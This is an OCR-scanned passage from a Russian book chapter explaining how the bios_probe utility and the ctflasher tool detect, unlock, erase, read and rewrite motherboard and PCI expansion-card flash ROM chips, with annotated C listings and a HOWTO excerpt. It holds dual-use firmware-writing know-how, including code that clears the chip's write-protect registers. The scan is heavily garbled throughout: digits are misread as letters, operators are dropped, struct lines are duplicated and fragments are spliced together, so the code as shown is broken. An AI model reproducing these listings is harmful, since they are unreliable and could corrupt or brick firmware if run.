printf("Trying %s, %dKB\n", flash->name, flash->total_size);
size = flash->total_size * 1024;
// Ошибка? Что произойдет, если getpagesize()
// будет больше чем размер?
GetSystemInfo(&si);
if(si.dwPageSize > size) (
size = si.dwPageSize;
printf("%s: warning: size: %d -> %ld\n", __FUNCTION__, flash->total_size * 1024, (unsigned long)size);
}
bios = (volatile char*) MapPhysicalAddress((unsigned long)
(О - size), size);
// Код обработчика ошибки не показан.
flash->virt_addr = bios;
chip_addr = bios;
printf("chip_addr = Ox%Fp\n", chip_addr);
if (flash->probe(flash) == 1) {
printf ("%s found at physical address: Ox%lx\n", flash->name, (0 - size));
return flash;
}
UnmapPhysicalAddress( (void*)bios, size); flash++;
}
return NULL;
}
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
Как можно видеть в листинге 9.34, функция probe_flash довольно сложна. Ее входным параметром является указатель на объект flashchip. Но с первого взгляда можно не заметить, что этот входной параметр должен быть указателем на массив объектов, а не просто указателем на одиночный объект. При этом массив может содержать только один объект, при условии, что имеется элемент null, указывающий на конец массива. При успешном исполнении функция probe_flash возвращает объект flashchip, соответствующий текущему чипу флэш-ROM. В противном случае, функция возвращает null. Цикл while в функции probe_fiash перебирает объекты flashchip в массиве в поисках соответствующего чипа флэш-ROM. Процесс начинается С вызова функции MapPhysicalAddressRange С тем, чтобы ОТобрЗ' зить адресное пространство чипа BIOS22 на адресное пространство функции bios_probe. Функция MapPhysicalAddressRange возвращает указатель НЗ ИЗ чальный виртуальный адрес запрошенного физического адресного простраН' ства23. Этот указатель используется для связи с чипом BIOS путем провед6'
22 Физический диапазон адресов, расположенный возле предела в 4 Гбайт.
23Виртуальный адрес находится в контексте приложения пользовательского реэки^3 flash_n_burn.
^ава 9. Обращение к BIOS из операционной системы 439 ция операций чтения и записи в виртуальное адресное пространство24, у каждого чипа, поддерживаемого bios_probe, имеется свой собственный способ чтения чипа и записи в него, а также собственный способ извлечения идентификатора производителя. Эти уникальные свойства хранятся в струк- ^ре даННЫХ flashchip И В массиве flashchips (листинг 9.35).
;тинг 9.35. Структура данных flashchip и массив объектов flashchip
Файл: flash_rom. h
struct flashchip {
char * name;
int manufacture_id;
int model_id;
volatile char * virt_addr;
int total_size;
int page_size;
int (*probe) (struct flashchip int (*erase) (struct flashchip int (*write) (struct flashchipint (*probe) (struct flashchip int (*erase) (struct flashchip int (*write) (struct flashchipflash);flash) ,-flash, unsigned char * buf)flash);flash) ,-flash, unsigned char * buf)
int (*probe) (struct flashchip int (*erase) (struct flashchip int (*write) (struct flashchip
int (*probe) (struct flashchip int (*erase) (struct flashchip int (*write) (struct flashchip
flash);
flash) ,-
flash, unsigned char * buf)
flash);
flash) ,-
flash, unsigned char * buf)
int (*read) (struct flashchip * flash, unsigned char * buf);
volatile char *virt_addr_2;
);
/*
♦айл: flash_rom. c
Часть строк кода опущена, как не являющаяся необходимой
Для понимания рассматриваемого процесса.
* Массив объектов типа flashchip
^t flashchip flashchips [] = {
Часть элементов, не являющихся необходимыми
Грации чтения и записи выполняются с помощью оператора разыменования.
is ■>
,а|< 1387
// для понимания рассматриваемого процесса, опущена.
{"W49F002U", WINBOND_ID, W_49F002U, NULL, 256, 128, probe_49f002, erase_49f002, write_49f002, NULL, NULL},
{"W39V040FA", WINBOND_ID, W_39V040FA, NULL, 512, 4096,
/* TODO: the sector size must be ensured to be correct! */ probe_39v040fa, erase_39v040fa, write_39v040fa, NULL, NULL),
// Часть элементов, не являющихся необходимыми
// для понимания рассматриваемого процесса, опущена.
{NULL, }
};
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
В исходном коде массив объектов типа flashchip называется flashchips. Один из используемых объектов массива flashchips представляет операцию, которую можно выполнять для чипа флэш-ROM Winbond W49F002U. Данный объект содержит данные и указатели функций, которые "описывают" чип флэш-ROM Winbond W49F002U, как показано в листинге 9.35. Константы объекта определены в файле flash.h (см. листинг 9.36).
Листинг 9.36. Константы объекта Winbond W49F002U
/*
* Имя файла: flash.h
*/
// Часть строк кода опущена, как не являющаяся необходимой
// для понимания рассматриваемого процесса.
#define WINBOND_IDOxDA /* Идентификационный код
производителя Winbond */
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
#define W_49F002U0x0В/* Код устройства чипа
Winbond W49F002U */
#define W_39V040FA0x34/* Код устройства чипа
Winbond W39V040FA */
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
указатели функций в объекте Winbond W49F002U в листинге 9.35 реализоваНЫ в файле w49fD02u.c, как показано в листинге 9.37.
;Тинг 9.37. Реализация функций Winbond W49F002U
/*
, w49f002u.c: драйвер для Winbond 49F002U flash models
* copyright 2000 Silicon Integrated System Corporation
, Эта программа распространяется бесплатно. Ее можно передавать в
пользование другим лицам и/или модифицировать ее согласно условиям
второй или более поздней версии (согласно личному усмотрению)
общедоступной лицензии GNU Фонда бесплатного программного
обеспечения.
Источник справочной информации:
*Техническая спецификации на чип ROM W49F002U
*/
#include <stdio.h>
#include "flash.h"
^include "jedec.h"
^include "w49f002u.h"
int probe_49f002 (struct flashchip * flash) I
volatile char * bios = flash->virt_addr;
unsigned char idl, id2;
(bios + 0x5555) = OxAA;
(bios + 0x2AAA) = 0x55;
(bios + 0x5555) = 0x90;
idl = *(volatile unsigned char *) bios;
id2 = *(volatile unsigned char *) (bios + 0x01);
bios = OxFO;
myusec_delay(10);
printf("%s: idl 0x%x, id2 0x%x\n", __FUNCTION__, idl, id2);
printf("flash chip manufacturer id = Ox%x\n",
// Выводим идентификатор производителя чипа флэш-ROM flash->manufacture_id );
if (idl == flash->manufacture_id && id2 == flash->model_id) return 1;
return 0;
}
int erase_49f002 (struct flashchip * flash)
(
volatile char * bios = flash->virt_addr;
*(bios + 0x5555) = OxAA;
*(bios + 0x2AAA) = 0x55;
*(bios + 0x5555) = 0x80;
*(bios + 0x5555) = OxAA;
*(bios + 0x2AAA) = 0x55;
*(bios + 0x5555) = 0x10;
myusec_delay(100);
toggle_ready_jedec(bios);
#if 0
toggle_ready_jedec (bios) ;
(bios + OxOffff) = 0x30;
(bios + Oxlffff) = 0x30;
(bios + 0x2ffff) = 0x30;
(bios + 0x37fff) = 0x30;
(bios + 0x39fff) = 0x30;
(bios + 0x3bfff) = 0x30;
#endif
return 0;
int write_49f002 (struct flashchip * flash, unsigned char * buf) (
int i;
int total_size = flash->total_size * 1024;
volatile char * bios = flash->virt_addr;
vOlatile char * dst = bios;
♦bios = OxFO;
„yusec.delaydO) ;
erase_49f002(flash);
printf ("Programming Page: ");
// выполняем операцию записи в чип флэш-ROM
for (i = 0; i < total_size; i++) (
/* Write to the sector. */
if ((i & Oxfff) == 0)
printf ("address: 0x%081x", (unsigned long)i);
(bios + 0x5555) = OxAA;
(bios + 0x2AAA) = 0x55;
(bios + 0x5555) = OxAO;
dst = *buf; // Постинкрементирование буфера и указателя чипа BIOS //А здесь ошибка.
/* ЖДем готовности бита переключения. */
toggle_ready_jedec(dst);
dst++;
buf++;
if ((i & Oxfff) == 0)
printf ("\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b");
#endif
Printf("\n");
return 0;
^ флэш-ROM Winbond W49F002U. Чтобы понимать процесс, происходящий ^Листинге 9.37, необходимо ознакомиться с технической спецификацией на чип . mbond W49F002U. Эту документацию можно скачать бесплатно по адресу ^://www.datasheetcatalog.com/datasheets_pdf/W/4/9/F/W49F002U.shtml.
Указатели функций для объекта Winbond W39V040FA в листинге 9.37 реалц3 ваны в файле w39v040fa.c, как показано в листинге 9.38.
Листинг 9,38. Реализация функций Winbond W39V040FA
/*
* w39v040fa.c: драйвер для флэш-чипов типа Winbond 39V040FA
* Copyright 2000 Silicon Integrated System Corporation
* Эта программа распространяется бесплатно. Ее можно передавать в * пользование другим лицам и/или модифицировать согласно условиям * второй или более поздней версии (согласно личному усмотрению)
общедоступной лицензии GNU Фонда бесплатного программного
обеспечения.
Источник справочной информации:
* Техническая спецификации на чип ROM W39V040FA */
#include <stdio.h>
#include "flash.h"
#include "jedec.h"
#include "direct_io.h"
#include "w39v040fa.h"
enum {
BLOCKING_REGS_PHY_RANGE = 0x80000,
BLOCKING_REGS_PHY_BASE = 0xFFB80000, };
int probe_39v040fa (struct flashchip * flash)
<
volatile char * bios = flash->virt_addr;
unsigned char idl, id2;
(bios + 0x5555) = OxAA;
(bios + 0x2AAA) = 0x55;
(bios + 0x5555) = 0x90;
idl = * (volatile unsigned char *) bios;
jd2 = *(volatile unsigned char *) (bios + 0x01);
*bios = OxFO;
rnyusec_delay (10) ;
printf("%s: idl 0x%x, id2 0x%x\n", __FUNCTION, idl, id2);
printf("flash chip manufacturer id = 0x%x\n", flash->manufacture_id);
// Выводим идентификатор производителя чипа флэш-ROM
if (idl == flash->manufacture_id && id2 == flash->model_id) return 1;
return 0;
mt erase_39v040fa (struct flashchip * flash)
volatile char * bios = flash->virt_addr;
*(bios + 0x5555) = OxAA;
*(bios + 0x2AAA) = 0x55;
*(bios + 0x5555) = 0x80;
*(bios + 0x5555) = OxAA;
*(bios + 0x2AAA) = 0x55;
*(bios + 0x5555) = 0x10;
myusec_delay(100);
toggle_ready_jedec(bios);
return(0);
7°latile char * unprotect_39v040fa(void)
unsigned char i, byte_val;
volatile char * block_regs_base;
block_regs_base = (volatile char*) MapPhysicalAddressRange( BLOCKING_REGS_PHY_BASE, BLOCKING_REGS_PHY_RANGE);
if (block_regs_base == NULL) {
perror( "Error: Unable to map Winbond W39V040FA blocking "
"registers!\n"); // Ошибка: Невозможно отобразить регистры блокировки // чипа Winbond W39V040FA.
return NULL; } М И Убираем защиту записи с адресного пространства чипа BIOS. М for( i = 0; i < 8 ; i++ ) { byte_val = *(block_regs_base + 2 + i*0xl0000); byte_val &= 0xF8; // Разрешаем полный доступ к чипу. *(block_regs_base + 2 + i*0x10000) = byte_val; ) return block_regs_base;
void protect_39v040fa(volatile char * reg_base) (
II
// Устанавливаем защиту против записи на адресное //пространство чипа BIOS.
И
unsigned char i, byte_val;
volatile char * block_regs_base = reg_base;
for( i = 0; i < 8 ; i++ ) {
byte_val = *(block_regs_base + 2 + i*0xl0000);
byte_val |= 1; // Запрещаем запись в блок, // в котором последовательность
// *(block_regs_base + 2 + i*0x10000) = byte_val; )
UnmapPhysicalAddressRange((void*) reg_base, BLOCKING_REGS_PHY_RANGE); )
int write_39v040fa (struct flashchip * flash, unsigned char * buf) {
int i;
int total_size = flash->total_size * 1024;
volatile char * bios = flash->virt_addr;
volatile char * dst = bios;
volatile char * Teg_base;
*bios = OxFO; // Выход из процедура идентификации продукта myusec_delay(10) ;
reg_base = unprotect_39v040fa();
erase_39v040fa(flash);
#if 1
printf ("Programming Page: "); II Записываем страницу for (i = 0; i < total_size; i++) (
// Записываем в сектор.
if ((i & Oxfff) == 0) printf ("address: 0x%081x", (unsigned long)i);
*(bios + 0x5555) = OxAA;
*(bios + 0x2AAA) = 0x55;
*(bios + 0x5555) = OxAO;
*dst = *buf;
// Дожидаемся готовности бита переключения. toggle_ready_jedec(dst);
dst++;
buf++;
if ((i & Oxfff) == 0)
printf (" \b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b") ; )
*endif
printf("\n");
if(NULL ! = reg_base) {
protect_39v040fa(reg_base);
)
return(0);
В листинге 9.38 видно, что Winbond W39V040FA имеет собственный способ блокировки каждого индивидуального сегмента размером в 64 Кбайт в 512- килобайтном адресном пространстве флэш-ROM. Чтобы производить операцИи записи в эти сегменты, необходимо сначала снять с них защиту от записи Управление блокировкой этих сегментов осуществляется с помощью отобра. женных на память регистров. Вот почему код в листинге 9.38 отображает фи. зический диапазон адресов регистров блокировки в виртуальное адресное пространство процесса. Регистры блокировки отображаются на диапазон адресов FFB80002h-FFBF0002h. Этот или подобный ему способ блокировки применяется в чипах флэш-ROM, придерживающихся спецификации на хаб FWH компании Intel. Чтобы получить более полное представление о происходящем процессе можно воспользоваться фрагментом из спецификации технических характеристик чипа Winbond W39V040FA, приведенным в табл. 9.1.
Таблица 9.1. Типы регистров блокировки и соответствующие им диапазоны адресов для чипа Winbond W39V040FA
Регистр
Тип регистра
Блок управления
Физический адрес устройства
Адрес в 4-гигабайтном системном адресном пространстве
BLR7
R/W
7
7FFFFh-70000h
FFBF0002h
BLR6
R/W
6
6FFFFh-60000h
FFBE0002h
BLR5
R/W
5
5FFFFh-50000h
FFBD0002h
BLR4
R/W
4
4FFFFh-40000h
FFBC0002h
BLR3
R/W
3
3FFFFh-30000h
FFBB0002h
BLR2
R/W
2
2FFFFh-20000h
FFBA0002h
BLR1
R/W
1
IFFFFh-lOOOOh
FFB90002h
BLRO
R/W
0
OFFFFh-OOOOOh
FFB80002h
В колонке "Физический адрес устройства" в табл. 9.1 показаны физические адреса регистров запирания блока, когда чип не отображается на 4-гигабайтное общесистемное адресное пространство. В табл. 9.2, также составленной на основе данных, приведенных в технической спецификации чипа Winbond W39V040FA, показано, что доступом к блокам памяти чипа управляют три младшие бита регистра BLR.
Таблица 9.2. Назначение битов регистра запирания блока
ВИТ
Функция
75
Зарезервировано
2
Блокировка чтения
1: Чтение соответствующего блока запрещено
0: Чтение разрешено. Это значение задается по умолчанию
1
Блокировка битов управления
1: Запрещено дальнейшее изменение битов управления блокировкой чтения и записи. Этот бит может быть только установлен, и его сбрасывание недопустимо. Сброс этого бита может производиться только выполнением сброса устройства (reset) или же выключением и последующим включением питания устройства.
0: Нормальный режим работы битов управления блокировкой чтения и записи. Это значение устанавливается по умолчанию
0
Блокировка записи.
1: Запись в соответствующий блок запрещена. Это значение устанавливается по умолчанию.
0: Операции записи или очистки соответствующего блока разрешены
Как можно видеть из табл. 9.2, чип можно даже полностью заблокировать, установив в единицу биты регистров BLR (бит 0, бит 1 и бит 2). В таком случае, чип можно будет разблокировать только выполнением перезагрузки. Чтобы понимать работу чипа Winbond W49F002U, необходимо ознакомиться с его техническими спецификациями.
После успешной инициализации объекта, представляющего чип BIOS, функция main вызывает соответствующую функцию-член объекта, которая и выполнит операцию, запрошенную пользователем утилиты bios_probe. Код для этого процесса показан в листинге 9.39.
Листинг 9.39. Выполнение в функции main запрошенной пользователем перации
/
Имя файла: flash-гот.с \
*/
^ Часть строк кода опущена, как не являющаяся необходимой
* * Для понимания рассматриваемого процесса.
lnt main (int argc/char * argv[])
(
// для понимания рассматриваемого процесса.
if (read_it ) {
if ((image = fopen(filename, "wb")) == NULL) { // Код обработчика ошибки не показан.
exit(1);
)
printf("Reading Flash..."); II Считываем чип флэш-ROM if(flash->read == NULL) {
memcpy(buf, (const char *) flash->virt_addr, size); ) else { flash->read(flash, buf);
)
fwrite(buf, sizeof(char), size, image);
fclose(image);
printf("done\n"); II Задание выполнено.
} else {
if ((image = fopen (filename, "rb")) == NULL) { // Код обработчика ошибки не показан.
exit(1);
)
fread (buf, sizeof(char), size, image);
fclose(image);
if (write_it || (!read_it && !verify_it)) flash->write(flash, buf);
if (verify_it)
verify_flash(flash, buf, /* verbose = */ 0);
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
После выполнения запрошенной пользователем операции, функция main освобождает используемые ресурсы и завершает выполнение процедурь1 bios_probe. Понимание хода исполнения bios_probe до этого момента не должно вызывать никаких затруднений.
Также должно быть очевидным и еще одно важное обстоятельство. Технике ские параметры чипа Winbond W39V040FA, приведенные в табл. 9.1 и 9- ’
свидетельствуют о том, что если во время загрузки BIOS установит бит, контролирующий блокировку битов управления (бит 1, см. табл. 9.2), то чип glOS станет недоступным. Эта аппаратная защита делает невозможной внедрение руткита26 в чип BIOS из операционной системы.
рЛои эксперименты с материнской платой DPI 865РЕ Infinity27 убедили меня в том, что бит, контролирующий блокировку битов управления, работает должным образом. При установке из Windows бита, контролирующего блокировку битов управления, чип становится недоступным для чтения и записи. Попытки чтения из адресного пространства чипа BIOS возвращают 0 байтов, а запись вообще невозможна.
Библиотека PCI
Версия библиотеки PCI утилиты bios_probe для Windows основана на pciutils v. 2.1.11 для Linux, из которой были удалены многие функции и файлы. Это было сделано с целью минимизировать размер библиотеки PCI. В данном подразделе освещаются наиболее важные части этой библиотеки. В дальнейшем, библиотека PCI для Windows будет упоминаться как libpci.
Исходный код libpci — автономная статическая библиотека. Но для ее компиляции необходимы функции Windows, равнозначные функциям прямого ввода-вывода28 для Linux. В bios_probe эти функции предоставлены в файлах direct io.h и direct_io.c.
Библиотека libpci применяется в bios_probe при исполнении функции enabie_fiash_write для обнаружения южного моста и разрешения доступа к чипу BIOS. Соответствующий код показан в листинге 9.40.
Листинг 9.40. Применение libpci
/*
* Файл: flash_rom.c (Основное приложение утилиты flash_n_burn)
*/
И Часть строк кода опущена, как не являющаяся необходимой
Набор утилит, которые хакер устанавливает на взломанном им компьютере после получения первоначального доступа. Руткит позволяет хакеру закрепиться во взломанной системе и скрыть следы своей деятельности.
На материнской плате DPI 865РЕ Infinity применяется южный мост Intel ICH5 и чип Флэш-ROM Winbond W39V040FA.
Функциями прямого ввода-вывода являются функции inb, outb, inw, out, ini и outi.
// для понимания рассматриваемого процесса.
int enable_flash_write() {
int i;
struct pci_access *pacc;
struct pci_dev *dev = 0;
FLASH_ENABLE *enable = 0;
pace = pci_alloc();/* Получаем структуру pci_access. */
/* Устанавливаем опции.
/* Я оставляю опции по умолчанию. */
pci_init(расе);/* Инициализируем библиотеку PCI.
pci_scan_bus(расе);/* Получаем перечень устройств.
/* Пробуем определить используемый чипсет. */
for(i = 0; i < sizeof(enables)/sizeof(enables[0]) && (! dev); i++) { struct pci_filter f;
struct pci_dev *z;
/* Первый параметр не используется. */ pci_filter_init((struct pci_access *) 0, &f); f.vendor = enables[i].vendor;
f.device = enables[i].device;
for(z = pacc->devices; z; z = z->next) if (pci_filter_match(&f, z)) { enable = &enables[i];
dev = z; }
}
/* Выполняем задание.*/
if (enable) {
printf("Enabling flash write on %s...", enable->name);
// Разрешаем запись в чип флэш-ROM
if (enable->doit(dev, enable->name) == 0) printf("OK\n");
}
return 0;
}
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
Анализ кода, приведенного в листинге 9.40, показывает, что функция enable_fiash_write выделяет ресурсы, необходимые для доступа к шине
рС1, вызывая функцию pci_alloc. Эта функция объявляется в файле pci.h 0 реализуется в файле access.c. Процесс выделения ресурсов функцией pci-alloc показан в листинге 9.41.Обратите внимание, что многие из методов доступа к PCI, имевшиеся в исходной библиотеке PCI pciutils, были удалены. Оставленные методы разрешают лишь прямой доступ к аппаратному обеспечению. Обратите внимание, что удаление методов из библиотеки pCiutils было необходимо, так как удаленные методы поддерживаются только в Linux или UNIX, а в Windows их поддержка не обеспечивается.
: Листинг 9.41. Функция pcUalloc
static struct pci_methods *pci_methods[PCI_ACCESS_MAX] = { &pm_intel_confl, // Первый конфигурационный механизм PCI // для архитектуры х86.
&pm_intel_conf2, // Второй конфигурационный механизм PCI
// для архитектуры х86.
struct pci_access * pci_alloc(void)
struct pci_access *a = malloc(sizeof(struct pci_access)); int i;
memset(a, 0, sizeof(*a));
for(i = 0; i < PCI_ACCESS_MAX; i++)
if (pci_methods[i] && pci_methods[i]->config)
pci_methods[i]->config(a); return a;
Затем, с помощью функции pci_init, функция enable_flash_write инициализирует указатели функций для объекта pci_access, который был выделен Ранее функцией pci_alloc. Функция pci_init, как и функция pci_alloc, Реализована в файле access.c. Ее исходный код показан в листинге 9.42.
Листинг 9.42. Функция pciJnit
v°id pci_init(struct pci_access *a)
I
xf (!a->error)
a->error = pci_generic_error;
f (!a->warning)
a->waming = pci generic warn;
if (!a->debug) a->debug = pci_generic_debug;
if (a->method) {
if (a->method >= PCI_ACCESS_MAX || !pci_methods[a->method]) a->error("This access method is not supported.\n");
// Ошибка — этот метод доступа не поддерживается. a->methods = pci_methods[a->method];
} else { unsigned int i; for(i = 0; i < PCI_ACCESS_MAX; i++) if (pci_methods[i])
{ a->debug("Trying method %d...\n", i); // Пробуем применить // один из методов доступа, if (pci_methods[i]->detect(a))
{ a->debug("...OK\n"); a->methods = pci_methods[i]; a->method = i;
break;
} a->debug("...No. \n") ; } if (!a->methods)
a->error("Cannot find any working access method."); // Ошибка: He найдено ни одного рабочего метода доступа. } a->debug("Decided to use %s\n", a->methods->name) ;
if( NULL ! = a->methods->init ) { a->methods->init(a); }
После установления способа доступа к шине PCI, enable_flash_write вызывает функцию pci_scan_bus ДЛЯ Сканирования ШИНЫ. Функция pci_scan_bus, как и функции pci_init и pci_aiioc, также реализована в файле access.c- Ее исходный код показан в листинге 9.43.
9.43. Функция pci_scan__bus
void pci_scan_bus (struct pci_access *a)
{
a->methods->scan(a);
)
После сканирования шины PCI, функция enabie_fiash_write инициализирует так называемый фильтр PCI. Это делается с целью подготовки к проверке южного моста, обнаруженного в результате сканирования, на соответствие южному мосту, поддерживаемому утилитой flash_n_bum. Эта задача выполняется с помощью функции pci_filter_init. Процесс сопоставления поддерживаемого южного моста и результатов сканирования осуществляется С ПОМОЩЬЮ функции pci_filter_match. Обе эти функции реализованы в файле filter.c, приведенном в листинге 9.44.
Листинг 9.44. Функции pcLfilterJnti и pcijilter„match
void pci_filter_init(struct pci_access * a, struct pci_filter *f)
{
f->bus = f->slot = f->func = -1;
f->vendor = f->device = -1;
int pci_filter_match(struct pci_filter *f, struct pci_dev *d) (
if ((f->bus >= 0 && f->bus != d->bus) ||
(f->slot >= 0 && f->slot ! = d->dev) ||
(f->func >= 0 && f->func != d->func))
return 0;
if (f->device >= 0 || f->vendor >= 0)
<
pci_fill_info(d, PCI_FILL_IDENT);
if ((f->device >= 0 && f->device != d->device_id) || (f->vendor >= 0 && f->vendor != d->vendor_id)) return 0;
}
return 1;
Проанализировав код, приведенный листинге 9.44, вы увидите, что результаТЫ сканирования шины сопоставляются с поддерживаемым южным мостом
456 Часть IV. Внесение изменений в код Biq^ путем сравнения идентификаторов производителя (vendor ID) и устройства (device ID) соответствующих чипов PCI. Пользуясь приведенными здесь по яснениями принципов работы библиотеки libpci, вы без труда сможете са мостоятельно оттрассировать исходный код и понять, каким образом он ра. ботает.
Результаты работы bios_probe можно увидеть на рис. 9.5. В данном случае bios_probe сохраняет дамп информации о материнской плате DFI 865Р£ Infinity в файл dump-.bin. В этой материнской плате используется чип ROM Winbond W39V040FA. На этом обсуждение способов доступа к чипу BIOS материнской платы можно считать завершенным. В следующих разделах мы рассмотрим более сложные вопросы — а именно способы обращения к BIOS плат расширения PCI из операционной системы.
Рис. 9.5. Результаты работы утилиты bios_probe v. 0.26
Обращение к содержимому чипа ROM BIOS плат расширения PCI
Вопреки распространенному мнению, обращение к содержимому чипа ROM BIOS плат расширения в Linux не является неразрешимой задачей. Исходные коды программ для выполнения этой задачи, годные к употреблению, можно без труда найти в Интернете. Одним из проектов Open Source по BIOS раС' ширения PCI является проект ctflasher (http://ctflasher.sourceforge.net)- Когда писалась эта книга, была доступна версия 3.5.0 исходного кода проек та ctflasher. С помощью этой утилиты можно читать, стирать, и проверять
поддерживаемые чипы флэш-ROM BIOS плат расширения PCI из Linux, ^flasher поддерживает версии ядра 2.4 и 2.6. В настоящее время ctflasher поддерживает лишь некоторые сетевые платы, собственную фирменную (proprietary) плату ctflasher, материнскую плату SiS 630 и карту флэш-памяти, подключаемую через порт IDE.
Архитектура ctflasher основана на LKM (loadable kernel module — загружаемой модуль ядра). Поэтому, чтобы воспользоваться этой утилитой, модуль ядра необходимо загрузить заранее. После загрузки модуля, к утилите ctflasher можно обращаться через интерфейс /ргос с помощью команды cat. файл справки для утилиты ctflasher v. 3.5.0 дает необходимые пояснения, касающиеся использования утилиты. Приведем краткую выдержку из файла HOWTO, минимально необходимую для того, чтобы начать работать с данной утилитой.
Выдержка из файла справки для утилиты ctflasher v. 3.5.0
В первую очередь необходимо выполнить команду make all. Все модули будут помещены в каталог modules.
Затем перейдите в каталог modules (cd modules). В каталоге должно быть 8 файлов.
Для ядра версии 2.4 — это будут следующие файлы:
flash.o
— Основной модуль, который содержит алгоритмы для программирования чипа флэш-ROM.
ct.o idejlash.o elOOJIash.o 3c90xc_flash.o rtl8139Jlash.o
— Низкоуровневый драйвер для ctflasher
— Низкоуровневый драйвер для ide-flasher
— Низкоуровневый драйвер для сетевой карты Intel еЮО
— Низкоуровневый драйвер для сетевой карты Intel Зс905с
— Низкоуровневый драйвер низкого уровня для сетевой карты Realtek 8139
sis630_flash.o
— Низкоуровневый драйвер для северного моста SiS 630 (BIOS)
via-rhinejlash.o
— Низкоуровневый драйвер для сетевой карты via Rhine
Для ядра версии 2.6 — это будут следующие файлы:
flash.ko
— Основной модуль; содержит алгоритмы для программирования чипа флэш-ROM
ct.ko ide_flash.ko e100_flash.ko 3c90xc_flash.ko rtl8139_flash.ko
— Низкоуровневый драйвер для ctflasher
— Низкоуровневый драйвер для ide-flasher
— Низкоуровневый драйвер для сетевой карты Intel еЮО
— Низкоуровневый драйвер для сетевой карты Intel Зс905с
— Низкоуровневый драйвер для сетевой карты Realtek 8139
sis630_flash.kovia-rhine_flash.kosis630_flash.kovia-rhine_flash.ko— Низкоуровневый драйвер для южного моста SiS 630 (В|( — Низкоуровневый драйвер для сетевой карты via Rhine
sis630_flash.ko
via-rhine_flash.ko
sis630_flash.ko
via-rhine_flash.ko
Главный модуль flash.о и низкоуровневый драйвер (например, cto) обязате ны для загрузки. Порядок загрузки модулей не имеет значения.Ль'
Для ядер версии 2.2 и 2.4 загрузка модулей осуществляется следующим обо зом:Ра'
insmod flash.о
insmod ct.о
Для ядра версии 2.6 загрузка модулей осуществляется следующим образом: insmod flash.ко insmod ct.ко
В зависимости от загуженных модулей, у нас будет 3 файла
/ргос/.../info
/ргос/.../data
/ргос/.../erase
Последовательность символов "..." обозначает часть пути, зависящую от конкретного аппаратного устройства:
ct. оct. оide_flash.о el00_flash.о 3c90xc_flash.о rtl8139_flash.оsis630_flash.о via-rhine_flash.оide_flash.о el00_flash.о 3c90xc_flash.о rtl8139_flash.оsis630_flash.о via-rhine_flash.оctflasher
ct. о
ct. о
ide_flash.о el00_flash.о 3c90xc_flash.о rtl8139_flash.о
sis630_flash.о via-rhine_flash.о
ide_flash.о el00_flash.о 3c90xc_flash.о rtl8139_flash.о
sis630_flash.о via-rhine_flash.о
ide-flasher/PLCC32 and ide-flasher/DIL32 elOO-flash/device?
3c90xc-flash/device?
rt18139-flash/device?
sis630-flash
via-rhine-flash/device?
Например, путь для гнезда PLCC флэш-карты IDE будет /ргос/ide-flasher/ PLCC32/info.
Чтобы получить информацию об аппаратном устройстве и установленном чипе флэш-ROM, необходимо выполнить следующую команду: cat /ргос/.../infо
Чтобы стереть чип флэш-ROM, необходимо выполнить следующую команду: cat /ргос/.../erase
Чтобы прочитать чип флэш-ROM, необходимо выполнить следующую команду: cat /ргос/.../data >my_file
Чтобы выполнить операцию записи (и стереть) чип флэш-ROM, необходимо выполнить следующую команду: cat my_image >/ргос/.../data
Операция верификации выполняется автоматически.
Если по кацой-либо причине модуль flash.о не загружен, может быть выведен0 следующее сообщение:
cat: /ргос/.../data: Устройство или ресурс занят.
цензии ог>и. разработках, дое на изучецензии ог>и. разработках, дое на изучеутилита ctflasher поставляется на условиях общедоступной лицензии и ли'Поэтому ее код можно использовать бесплатно в собственных
цензии ог>и. разработках, дое на изуче
цензии ог>и. разработках, дое на изуче
Как было объяснено в предыдущих разделах, время, потрачен- ние работы исходного кода утилиты ctflasher, можно сократить, ^пользовавшись утилитами ctags и vi для трассировки исходного кода. Структура каталогов исходных кодов утилиты ctflasher показана на рис. 9.6.
- Plflasher 3.5.0
* t§ bios + ^build2.6 ф-E^ct t-Q flash bolide f? Pg modules tonics h’Q Changelog
I™ *0^3 i-y howto |- 2 Makefile h@ Makefile.common todo
Рис. 9.6. Структура каталогов исходных кодов утилиты ctflasher
Исходный код утилиты ctflasher помещается в каталог fiasher_3.5.o. Для типов чипов, поддерживаемых утилитой, выделяются индивидуальные каталоги, а именно nics, bios, ct и ide. Каталог nics содержит исходный код Для сетевых плат PCI, поддерживаемых утилитой ctflasher. Каталог bios содержит исходный код для материнских плат на чипсете SiS 630. Каталог ct содержит исходный код для фирменной платы ctflasher. Каталог ide содержит исходный код для интерфейса карт флэш-IDE.
Каталог modules изначально пуст. Он заполняется модулем LKM утилиты ctflasher после завершения компиляции исходного кода. Каталог buiid2.6 содержит файл makefile для ядра версии 2.6. И, наконец, каталог buiid2.6 содержит исходный код для чипа флэш-ROM, поддерживаемого утилитой.
Исходный код утилиты ctflasher имеет четкую структуру и легко поддается анализу. Изучение исходного кода утилиты ctflasher для сетевой карты PCI Начинается с разбора файлов поддержки сетевой карты в каталоге nics, с последующим изучением процедур для чипа флэш-ROM в каталоге flash. Файлы
460 Часть IV. Внесение изменений в код Biq§ поддержи сетевых карт PCI содержат процедуры, необходимые для обращения к чипу ROM платы, а файлы поддержки чипов флэш-ROM содержат процеду. ры для записи, чтения, и стирания соответствующего чипа флэш-ROM.
Процедура для работы с чипом флэш-ROM сетевой карты PCI объясняется в следующем подразделе. Хотя Linux и Windows — две очень разные системы, принципы и логика, применяемые для этой задачи, одинаковы для обеих операционных систем.
Обращение к содержимому чипа ROM Bios плат расширения PCI в Windows
